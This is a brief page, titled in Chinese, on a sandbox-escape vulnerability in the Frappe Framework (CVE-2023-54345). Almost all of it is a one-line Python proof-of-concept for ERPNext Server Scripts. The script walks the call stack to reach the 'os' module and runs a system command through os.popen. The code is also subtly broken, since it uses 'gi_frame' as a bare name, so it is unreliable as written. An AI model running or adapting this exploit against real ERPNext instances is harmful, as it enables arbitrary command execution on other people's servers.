CVE-2023-54345 Frappe Framework沙箱逃逸漏洞

# PoC for CVE-2023-54345: Sandbox Escape via Frame Introspection # Place this code in a Server Script in ERPNext def exploit(): # Access the current frame object using gi_frame current_frame = gi_frame # Traverse up the call stack to find a frame with 'os' module while current_frame: if 'os' in current_frame.f_globals: os_module = current_frame.f_globals['os'] # Execute arbitrary system command (e.g., 'id') return os_module.popen('id').read() # Move to the caller's frame current_frame = current_frame.f_back return "Exploit failed: os module not found in stack." # Trigger the exploit exploit()